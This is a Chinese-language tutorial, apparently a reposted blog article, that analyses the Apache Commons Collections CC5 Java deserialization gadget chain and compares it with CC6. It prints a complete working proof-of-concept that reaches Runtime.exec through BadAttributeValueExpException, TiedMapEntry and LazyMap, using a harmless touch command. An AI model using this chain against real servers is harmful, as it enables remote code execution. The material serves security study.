CC5 反序列化链分析

CC5 反序列化链分析

前言

本文通太过析一个完备的 CC5 利用链代码，深入明白其构造思绪和触发机制。我们将利用以下代码举行实行：

1. import org.apache.commons.collections.Transformer;
2. import org.apache.commons.collections.functors.ChainedTransformer;
3. import org.apache.commons.collections.functors.ConstantTransformer;
4. import org.apache.commons.collections.functors.InvokerTransformer;
5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
6. import org.apache.commons.collections.map.LazyMap;
8. import javax.management.BadAttributeValueExpException;
9. import java.io.*;
10. import java.lang.reflect.Field;
11. import java.util.HashMap;
12. import java.util.Map;
14. public class CC5Test {
15.     public static void main(String[] args) throws Exception {
16.         // 要执行的命令（根据系统调整）
17.         // String command = "calc.exe"; // Windows 弹出计算器
18.         String command = "touch /tmp/cc5_success"; // Linux 创建文件
20.         // 1. 构造恶意 Transformer 链（执行命令）
21.         Transformer[] maliciousTransformers = new Transformer[]{
22.                 new ConstantTransformer(Runtime.class),
23.                 new InvokerTransformer("getMethod",
24.                         new Class[]{String.class, Class[].class},
25.                         new Object[]{"getRuntime", new Class[0]}),
26.                 new InvokerTransformer("invoke",
27.                         new Class[]{Object.class, Object[].class},
28.                         new Object[]{null, new Object[0]}),
29.                 new InvokerTransformer("exec",
30.                         new Class[]{String.class},
31.                         new Object[]{command}),
32.                 new ConstantTransformer(1)  // 占位，不影响执行
33.         };
35.         // 2. 先用一个无害的链占位（防止在构造 LazyMap 时意外触发）
36.         Transformer dummyTransformer = new ConstantTransformer(1);
37.         ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{dummyTransformer});
39.         // 3. 创建 LazyMap，其 factory 是 transformerChain
40.         Map<String, String> innerMap = new HashMap<>();
41.         Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
43.         // 4. 创建 TiedMapEntry，绑定 lazyMap 和一个任意 key
44.         TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
46.         // 5. 创建 BadAttributeValueExpException 对象，通过反射设置 val 字段为 entry
47.         BadAttributeValueExpException valException = new BadAttributeValueExpException(null);
48.         Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
49.         valField.setAccessible(true);
50.         valField.set(valException, entry);
52.         // 6. 将 transformerChain 中的 iTransformers 替换为真正的恶意链（此时才"上膛"）
53.         Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
54.         iTransformersField.setAccessible(true);
55.         iTransformersField.set(transformerChain, maliciousTransformers);
57.         // 7. 序列化 valException
58.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
59.         ObjectOutputStream oos = new ObjectOutputStream(baos);
60.         oos.writeObject(valException);
61.         oos.close();
63.         // 8. 反序列化 —— 自动触发命令执行
64.         ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
65.         ObjectInputStream ois = new ObjectInputStream(bais);
66.         ois.readObject();   // 漏洞触发点
67.         ois.close();
69.         System.out.println("CC5 链执行完成，请检查命令是否执行。");
70.     }
71. }

复制代码

超前学习：BadAttributeValueExpException 的触发机制

CC5 链的核心入口是 BadAttributeValueExpException（位于 javax.management 包）。该类在反序列化时，其 readObject 方法会实行以下关键操纵：

1. private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
2.     // ...
3.     if (val == null) {
4.         // ...
5.     } else {
6.         valObj = val.toString();   // 关键：对成员变量 val 调用 toString()
7.     }
8.     // ...
9. }

复制代码

也就是说，假如我们在反序列化时让 val 指向一个我们可控的对象，那么该对象的 toString() 方法就会被自动调用。
毛病分析

1. 构造通用桥梁（CC5/CC6 共用部分）

1. // 1. 构造恶意 Transformer 链（执行命令）
2. Transformer[] maliciousTransformers = new Transformer[]{
3.         new ConstantTransformer(Runtime.class),
4.         new InvokerTransformer("getMethod", ...),
5.         new InvokerTransformer("invoke", ...),
6.         new InvokerTransformer("exec", ...),
7.         new ConstantTransformer(1)  // 占位，不影响执行
8. };
10. // 2. 先用一个无害的链占位（防止在构造 LazyMap 时意外触发）
11. Transformer dummyTransformer = new ConstantTransformer(1);
12. ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{dummyTransformer});
14. // 3. 创建 LazyMap，其 factory 是 transformerChain
15. Map<String, String> innerMap = new HashMap<>();
16. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
18. // 4. 创建 TiedMapEntry，绑定 lazyMap 和一个任意 key
19. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

复制代码

这部分是 CC5 和 CC6 链共用的“桥梁”：

• 恶意链：maliciousTransformers 终极会通过反射实行 Runtime.exec()，是真正实行下令的部分。
  
• 占位链：在构造 LazyMap 和 TiedMapEntry 时，先用一个无害的 ConstantTransformer(1) 作为 ChainedTransformer 的内容，防止构造过程中不测触发（固然本链中构造过程不会触发 get，但同一利用占位链是一种防御性编程，便于后续更换）。
  
• LazyMap：将平凡 HashMap 包装成 LazyMap，并挂载 transformerChain。当调用 lazyMap.get(key) 且 key 不存在时，会自动实行 transformerChain.transform(key)。
  
• TiedMapEntry：这个类实现了 Map.Entry 接口，其 getValue() 方法会返回 map.get(key)。因此，只要调用 entry.toString() 或 entry.hashCode()，就会间打仗发 lazyMap.get(key)。
  

2. 核心

1. // 5. 创建 BadAttributeValueExpException 对象，通过反射设置 val 字段为 entry
2. BadAttributeValueExpException valException = new BadAttributeValueExpException(null);
3. Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
4. valField.setAccessible(true);
5. valField.set(valException, entry);

复制代码

为什么传 null？
检察 BadAttributeValueExpException 的构造方法源码：

1. public BadAttributeValueExpException(Object val) {
2.     this.val = val == null ? null : val.toString();
3. }

复制代码

假如直接在构造函数中传入 entry，那么构造函数会立即调用 entry.toString()，导致下令在攻击者本地实行（而非在目的服务器反序列化时触发）。因此，我们先传入 null 完成对象实例化，然后通过反射将私有字段 val 直接设置为 entry，从而绕过构造方法的逻辑，实现“耽误触发”。
反射操纵的作用：
getDeclaredField("val") 获取私有字段，setAccessible(true) 禁用 Java 语言访问控制，set() 直接修改对象堆内存中的字段值。如许，valException 对象内部就持有了 entry，但尚未触发任何 toString 调用。
3.更换占位链为恶意链

1. // 6. 将 transformerChain 中的 iTransformers 替换为真正的恶意链（此时才"上膛"）
2. Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
3. iTransformersField.setAccessible(true);
4. iTransformersField.set(transformerChain, maliciousTransformers);

复制代码

此时 transformerChain 内部本来只包罗 dummyTransformer，如今被更换为完备的 maliciousTransformers。由于更换操纵发生在序列化之前，且 LazyMap 和 TiedMapEntry 只是持有对 transformerChain 的引用，以是序列化时会将修改后的内容一并写入。
4. 序列化与反序列化触发

1. // 7. 序列化 valException
2. ByteArrayOutputStream baos = new ByteArrayOutputStream();
3. ObjectOutputStream oos = new ObjectOutputStream(baos);
4. oos.writeObject(valException);
6. // 8. 反序列化 —— 自动触发命令执行
7. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
8. ObjectInputStream ois = new ObjectInputStream(bais);
9. ois.readObject();   // 漏洞触发点

复制代码

当 ois.readObject() 实行时，BadAttributeValueExpException 的 readObject 方法被调用，内部会实行 val.toString()。此时 val 指向 entry（即 TiedMapEntry 对象），因此调用 entry.toString()。

• TiedMapEntry.toString() 会调用 getKey() + "=" + getValue()。
  
• getValue() 返回 map.get(key)，即 lazyMap.get("foo")。
  
• 由于 "foo" 在 innerMap 中不存在，LazyMap.get() 调用 factory.transform("foo")，这里的 factory 是 transformerChain，它已被更换为恶意链。
  
• 恶意链依次实行：ConstantTransformer(Runtime.class) → InvokerTransformer("getMethod", ...) → InvokerTransformer("invoke", ...) → InvokerTransformer("exec", ...)，终极实行下令 touch /tmp/cc5_success。
  

5. CC5 与 CC6 的区别

对比项CC5CC6入口类BadAttributeValueExpExceptionHashSet 或 HashMap触发方法readObject() → val.toString()readObject() → key.hashCode()核心机制非常对象反序列化时自动调用成员变量的 toString()聚集反序列化时自动盘算元素的 hashCode()上风直接、不依赖聚集布局，绕过 AnnotationInvocationHandler 修复实用范围更广，在更高 JDK 版本中依然有用（需共同其他本领）两者均利用 LazyMap + TiedMapEntry 作为桥梁，区别仅在于谁去调用 TiedMapEntry 的 toString() 或 hashCode()。CC5 利用非常类的特别反序列化举动，CC6 则利用聚集类的哈希盘算逻辑。

免责声明：如果侵犯了您的权益，请联系站长及时删除侵权内容，谢谢合作！qidao123.com:ToB企服之家，中国第一个企服评测及软件市场,开放入驻,技术点评得现金.